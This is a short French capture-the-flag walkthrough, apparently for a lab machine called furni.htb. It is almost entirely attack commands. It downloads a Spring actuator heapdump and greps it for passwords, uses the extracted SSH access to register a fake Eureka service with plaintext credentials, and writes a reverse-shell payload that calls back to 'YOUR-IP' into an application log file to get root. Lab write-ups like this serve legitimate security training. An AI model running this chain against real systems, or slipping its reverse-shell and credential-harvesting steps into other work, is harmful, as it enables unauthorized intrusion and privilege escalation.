🔍 Reconnaissance initiale
Scan Nmap :
furni.htb.🧠Path Découvert /actuator . Via dirsearch, le chemin /actuator révèle un fichier heapdump de 76MB :
wget http://furni.htb/actuator/heapdump
Analyse avec strings :
strings heapdump | grep -i 'user=\|pass=\|password='
🔑 Accès SSH Connexion avec les identifiants extraits :
ssh user@furni.htb
ssh -L 8761:localhost:8761 user@furni.htb
Enregistrement d’un faux service :
Remplacer YOURIP par l’IP de l’attaquant.
curl -X POST http://EurekaSrvr:0scarPWDisTheB3st@127.0.0.1:8761/eureka/apps/USER-MANAGEMENT-SERVICE \
-H 'Content-Type: application/json' \
-d '{"instance": {"instanceId": "USER-MANAGEMENT-SERVICE","hostName": "YOURIP","app": "USER-MANAGEMENT-SERVICE","ipAddr": "YOURIP","vipAddress": "USER-MANAGEMENT-SERVICE","secureVipAddress": "USER-MANAGEMENT-SERVICE","status": "UP","port": { "$": 8081, "@enabled": "true" },"dataCenterInfo": {"@class": "com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo","name": "MyOwn"}}}'
Connexion Netcat :
nc -nlvp 9999
Depuis la machine cible :
rm -f /var/www/web/user-management-service/log/application.log
echo 'HTTP Status: x[$(/bin/bash -i >& /dev/tcp/YOUR-IP/9999 0>&1)]' > /var/www/web/user-management-service/log/application.log
Attendre 2 minutes pour obtenir un shell root.
cat /root/root.txt
Thanks, Artemis Community 🛡️